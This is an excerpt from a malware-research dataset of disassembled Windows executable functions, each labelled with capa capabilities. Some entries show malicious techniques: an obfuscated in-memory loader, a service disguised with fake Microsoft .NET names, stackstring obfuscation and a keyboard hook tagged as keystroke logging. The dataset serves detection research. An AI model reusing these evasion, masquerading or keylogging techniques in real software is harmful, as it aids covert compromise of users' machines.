joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412ff0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x439004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
test ecx, ecx
je 0x413036
push ecx
mov edx, esi
call fcn.004130a0
add esp, 4
mov ecx, esi
call fcn.00413180
test al, al
je 0x413036
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00414df1
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x413052
push ecx
mov edx, esi
mov ecx, edi
call fcn.004130a0
add esp, 4
mov ecx, esi
call fcn.00413180
test al, al
jne 0x413024
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x413084
push ecx
mov edx, esi
lea ecx, [ebp - 0x210]
call fcn.004130a0
add esp, 4
mov ecx, esi
call fcn.00413180
test al, al
jne 0x413024
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [esi], ax
xor ecx, ebp
pop edi
xor al, al
pop esi
call fcn.00414df1
mov esp, ebp
pop ebp
ret

Function at 0x4130a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov edi, edx
lea edx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4130b0
sub esi, edx
sar esi, 1
cmp esi, 2
jne 0x4130f0
cmp word [ecx + 2], 0x3a
jne 0x4130f0
push ecx
push 0x104
push edi
call fcn.00418211
push 0x434d40
push 0x104
push edi
call fcn.00419b0f
add esp, 0x18
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push edi
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x413111
test al, 0x10
jne 0x41311d
mov eax, dword [ebp - 4]
test eax, eax
je 0x41311d
xor ecx, ecx
mov word [eax], cx
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413122
sub ecx, edx
sar ecx, 1
cmp ecx, 3
jne 0x413144
cmp word [edi + 2], 0x3a
jne 0x413144
cmp word [edi + 4], 0x5c
je 0x413170
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413150
sub ecx, edx
sar ecx, 1
je 0x413170
cmp word [edi + ecx*2 - 2], 0x5c
jne 0x413170
xor eax, eax
mov word [edi + ecx*2 - 2], ax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x413180
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x439004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x41c]
mov esi, ecx
push eax
push 0
push 0x435ce4
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x413241
push esi
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00418211
lea ecx, [ebp - 0x210]
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4131d1
sub ecx, edx
sar ecx, 1
cmp word [ebp + ecx*2 - 0x212], 0x5c
je 0x413204
push 0x434d40
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00419b0f
add esp, 0xc
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00419b0f
add esp, 0xc
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x413241
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00414df1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.00414df1
mov esp, ebp
pop ebp
ret

Function at 0x413260
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, dword [ebp + 0xc]
lea eax, [edi + 0x10]
mov dword [eax], 0
mov dword [ebp - 0xc], eax
mov eax, edi
cmp dword [edi + 0x14], 8
jb 0x413280
mov eax, dword [edi]
xor ecx, ecx
mov word [eax], cx
cmp dword [edx + 0x14], 8
jb 0x41328d
mov edx, dword [edx]
lea eax, [ebp + 0xc]
push eax
push 1
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41339c
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, ebx
cmp dword [ebx + 0x14], 8
jb 0x4132ba
mov eax, dword [ebx]
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4132e1
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov edx, 2
push esi
mov esi, eax
shr esi, 1
test eax, eax
cmove esi, eax
xor ecx, ecx
lea eax, [esi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00414f63
xor ecx, ecx
mov dword [ebp - 8], eax
add esp, 4
mov word [eax + esi*2], cx
cmp dword [ebx + 0x14], 8
jb 0x41331b
mov ebx, dword [ebx]
lea ecx, [ebp - 4]
push ecx
push eax
push 0
push 0
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, dword [ebp - 8]
test eax, eax
jne 0x413388
mov ecx, ebx
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413340
mov eax, dword [edi + 0x14]
sub ecx, edx
sar ecx, 1
cmp ecx, eax
ja 0x413378
cmp eax, 8
jb 0x41335d
mov edi, dword [edi]
mov eax, dword [ebp - 0xc]
lea esi, [ecx + ecx]
push esi
push ebx
push edi
mov dword [eax], ecx
call fcn.00415ee0
add esp, 0xc
xor eax, eax
mov word [esi + edi], ax
jmp 0x413388
push ebx
mov byte [ebp - 0xc], 0
push dword [ebp - 0xc]
push ecx
mov ecx, edi
call fcn.004042b0
push ebx
call fcn.00414f6c
add esp, 4
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x417b9a
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x42f47c
push str.FlsAlloc
push 0
call fcn.00417b13
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417bcc
push dword [ebp + 8]
mov ecx, esi
call fcn.0041582e
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x417c0e
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x42f4a0
push str.FlsGetValue
push 2
call fcn.00417b13
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x417c3f
mov ecx, esi
call fcn.0041582e
call esi
jmp 0x417c45
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x417c48
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x42f4b4
push str.FlsSetValue
push 3
call fcn.00417b13
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x417c7c
mov ecx, esi
call fcn.0041582e
call esi
jmp 0x417c82
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x41c3c8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 0x39a80001], esi
test dword [ebp + 0x4afffffc], esi
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0041bb8c
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041bb41
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
invalid
invalid

Function at 0x42a0ee
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00429db1

Function at 0x42a0f9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00429f32
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x41ff02
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x41ff11
pop dword [ebp - 0x3c]
mov eax, 0xc3acc570
sub eax, 0xc36ac65f
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x203d8041
sub dword [ebp - 0x4c], 0xd1eb3af6
mov dword [ebp - 0x48], 0x7dc1b89b
sub dword [ebp - 0x48], 0x4b8e6c56
mov dword [ebp - 0x44], 0x30e32994
add dword [ebp - 0x44], 0x1b691a9a
mov dword [ebp - 0x40], 0xca7f8cd3
add dword [ebp - 0x40], 0x3580732d
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x5c509e3d
add dword [ebp - 0x4c], 0x1821cb19
mov dword [ebp - 0x48], 0xcb3ce73c
sub dword [ebp - 0x48], 0x89d085c7
mov dword [ebp - 0x44], 0x8ec85056
add dword [ebp - 0x44], 0xd4a71c16
mov dword [ebp - 0x40], 0xda56cdd0
sub dword [ebp - 0x40], 0xda56cdd0
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3f97f
push 0
call eax
mov ecx, 0xe9f93619
add ecx, 0x1607196f
xor ebx, ebx
add ebx, eax
mov esi, 0x434400
add esi, dword [ebp - 0x3c]
mov edx, 0x15588ed0
mov edi, dword [esi]
xor dword [ebp - 0x20], esi
add edi, edx
mov dword [ebp - 0xc], 0x263d095b
mov dword [ebx], edi
add dword [ebp - 0x1c], 0xc465202f
add ebx, 0x835a1d7e
add ebx, 0x7ca5e286
add esi, 0x53bac911
add esi, 0xac4536f3
loop 0x42001f
add eax, 0x130f3
mov ebx, eax
add eax, 0x539f2a81
add eax, 0xac60d584
mov ecx, 0x1ac5b727
add ecx, 0xe57a48d9
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret
Function at 0x401490
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x6c0558]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
push 0
push str.data
mov edi, ecx
call esi
push 0
push str.data_aiconfig
call esi
mov eax, dword [0x6cfd4c]
movzx ecx, word [eax + 0x129]
push ecx
lea edx, [ebp - 0x44]
push str.._data_aiconfig__d.dat
push edx
call fcn.0057acb0
push 0x599640
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x48]
push ecx
call fcn.0057ac69
mov eax, dword [ebp - 0x48]
add esp, 0x18
test eax, eax
je 0x401513
push eax
push 1
push 0x1c64
add edi, 0xec
push edi
call fcn.0057ab1c
mov edx, dword [ebp - 0x48]
push edx
call fcn.0057a951
add esp, 0x14
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0057ad52
mov esp, ebp
pop ebp
ret
Function at 0x405910
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x6c0558]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x6cfd4c]
push esi
push edi
mov edi, ecx
movzx ecx, word [eax + 0x129]
push ecx
lea edx, [ebp - 0x44]
push str.._data_aiconfig__d.dat
push edx
call fcn.0057acb0
push 0x1c64
lea esi, [edi + 0xec]
push 0
push esi
call fcn.0057a7a0
push 0x599700
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x48]
push ecx
call fcn.0057ac69
mov eax, dword [ebp - 0x48]
add esp, 0x24
test eax, eax
je 0x405a2e
push eax
push 1
push 0x1c64
push esi
call fcn.0057b235
mov edx, dword [ebp - 0x48]
push edx
call fcn.0057a951
mov eax, dword [0x6c1b20]
add esp, 0x14
test eax, eax
jne 0x4059b6
push 0x1d88
call fcn.0057ae31
add esp, 4
test eax, eax
je 0x4059af
mov ecx, eax
call fcn.00404460
jmp 0x4059b1
xor eax, eax
mov dword [0x6c1b20], eax
mov eax, dword [eax + 0x228]
imul eax, eax, 0x64
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
test eax, eax
jns 0x4059cf
fadd dword [0x599680]
fstp dword [edi + 0xe0]
mov eax, dword [0x6c1b20]
test eax, eax
jne 0x4059ff
push 0x1d88
call fcn.0057ae31
add esp, 4
test eax, eax
je 0x4059f8
mov ecx, eax
call fcn.00404460
jmp 0x4059fa
xor eax, eax
mov dword [0x6c1b20], eax
mov ecx, dword [eax + 0x22c]
imul ecx, ecx, 0x64
mov dword [ebp - 0x4c], ecx
fild dword [ebp - 0x4c]
test ecx, ecx
jns 0x405a18
fadd dword [0x599680]
fstp dword [edi + 0xe8]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0057ad52
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.004049e0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0057ad52
mov esp, ebp
pop ebp
ret
Function at 0x40b660
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov ecx, 0x6b09b0
call fcn.00424f20
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 7
mov dword [0x6c1cd4], esi
call ebx
mov edi, eax
push 7
add edi, edi
call ebx
mov esi, eax
push 4
add esi, esi
call ebx
lea ecx, [esi + eax]
mov esi, dword [0x6f1fa4]
xor edx, edx
mov eax, esi
div dword [0x6f1530]
mov eax, dword [0x6f1534]
mov edx, dword [eax + edx*4]
test edx, edx
je 0x40b6be
cmp dword [edx], esi
je 0x40b705
mov edx, dword [edx + 0xc]
test edx, edx
jne 0x40b6b3
mov edx, dword [ebp + 8]
push 0
push edx
push 0
push 0
add ecx, 0x300
push ecx
add edi, 0x400
push edi
push 0
push 0x80000000
push 0x2ca0000
push 0x6c1cd8
push 0x6c1ef0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
mov dword [0x6c1cc0], esi
test esi, esi
jne 0x40b724
pop edi
pop esi
pop ebx
pop ebp
ret
mov edx, dword [edx + 4]
test edx, edx
je 0x40b6be
mov eax, dword [ebp + 8]
push 0
push eax
mov eax, dword [edx + 8]
push 0
add eax, ecx
mov ecx, dword [edx + 4]
push 0
push eax
add ecx, edi
push ecx
jmp 0x40b6d6
mov eax, dword [ebp + 0xc]
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push esi
mov ecx, 0x5c5140
call fcn.0040ce10
cmp dword [0x6b3cf0], 0
push 0
mov ecx, 0x5c5140
push 0
jne 0x40b774
push 1
call fcn.0040cc50
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
push 2
call fcn.0040cc50
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
Function at 0x40bf60
Capabilities:
Create directory
Delete file
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor ebx, ebx
push ebx
push esi
push 0x40afa0
push 0xd
call edi
mov dword [0x6c21f4], eax
mov eax, dword [ebp + 0x10]
mov dword [0x6c1cb8], ebx
mov ecx, str.gvkc9jw0ot0Ut
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bfb2
test dl, dl
je 0x40bfae
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bfb2
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bf92
xor eax, eax
jmp 0x40bfb7
sbb eax, eax
sbb eax, 0xffffffff
push ebx
cmp eax, ebx
je 0x40bfd8
push str.Error__
push 0x599b2c
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
push 0x40afa0
push 0xd
call edi
push str.._Log_Debug.txt
mov dword [0x6c21f4], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 0x599b18
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str._______________________________________________________
push 0x6bcf6c
call fcn.0051f800
push str._____________________Client_Start______________________
push 0x6bcf6c
call fcn.0051f800
push str._______________________________________________________
push 0x6bcf6c
call fcn.0051f800
add esp, 0x18
call fcn.0040b200
mov ecx, 0x6d7fb8
call fcn.0052a200
push 0x6f1402
push 0x6c1cd8
call fcn.0057acb0
push 0x6f1402
push 0x6c1ef0
call fcn.0057acb0
push esi
call fcn.0040bf00
add esp, 0x14
mov ecx, 0x6d7fb8
call fcn.0052ca20
push str.._Resource_QuestScript_QuestString.bin
mov ecx, 0x6d6078
call fcn.004efea0
push str.._Resource_QuestScript_QuestScript.bin
mov ecx, 0x6d6078
call fcn.004f0a50
push str.._Resource_QuestScript_NewbieGuide.bin
mov ecx, 0x6d6078
call fcn.004eeb60
push str.._Resource_QuestScript_QuestNpcList.bin
mov ecx, 0x6d6078
call fcn.004f0070
mov ecx, 0x6cf750
call fcn.004337f0
mov eax, dword [ebp + 0x14]
push eax
push esi
call fcn.0040b660
add esp, 8
test eax, eax
jne 0x40c0e6
mov eax, dword [0x6c21fc]
cmp eax, ebx
je 0x40c0db
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x6c21fc], ebx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x1c]
push ecx
call esi
test eax, eax
je 0x40c118
lea edx, [ebp - 0x1c]
push edx
call edi
lea eax, [ebp - 0x1c]
push eax
call ebx
jmp 0x40c0f8
mov ecx, 0x5c5140
call fcn.0040d180
cmp eax, 0xffffffff
jne 0x40c0f8
mov eax, dword [0x6c21fc]
test eax, eax
je 0x40c141
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x6c21fc], 0
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41f900
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x6c0558]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x130], eax
cmp eax, ebx
je 0x41fb0a
cmp byte [eax], bl
je 0x41fb0a
lea eax, [ebp - 0x118]
push eax
push 0x20019
push ebx
push str.SYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002BE10318
push 0x80000002
mov dword [ebp - 0x118], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41fb0a
mov edx, dword [ebp - 0x118]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x11c]
push ecx
push ebx
push ebx
push ebx
push edx
mov dword [ebp - 0x11c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x41f98c
mov dword [ebp - 0x11c], 0x64
push edi
xor edi, edi
mov dword [ebp - 0x12c], ebx
cmp dword [ebp - 0x11c], ebx
jbe 0x41fae5
push esi
xor eax, eax
push edi
push str._04u
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], al
lea eax, [ebp - 0xc]
push 5
push eax
call fcn.0041fdb0
mov eax, dword [ebp - 0x118]
add esp, 0x10
lea ecx, [ebp - 0x114]
push ecx
push 0x20019
push ebx
lea edx, [ebp - 0xc]
push edx
push eax
mov dword [ebp - 0x114], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41faa5
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x120]
push ecx
mov ecx, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x124]
push eax
push ebx
push str.NetCfgInstanceId
push ecx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x120], 0x104
call esi
test eax, eax
je 0x41fa37
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41faa5
mov eax, dword [ebp - 0x130]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x41fa5e
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41faa5
lea eax, [ebp - 0x120]
push eax
mov eax, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
push ecx
lea edx, [ebp - 0x124]
push edx
push ebx
push str.Characteristics
push eax
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x120], 4
call esi
mov ecx, dword [ebp - 0x114]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x41fad8
inc edi
cmp edi, dword [ebp - 0x11c]
jb 0x41f9a2
mov eax, dword [ebp - 0x118]
pop esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x12c]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0057ad52
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0x128]
mov dword [ebp - 0x12c], edx
pop esi
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x12c]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0057ad52
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0057ad52
mov esp, ebp
pop ebp
ret 4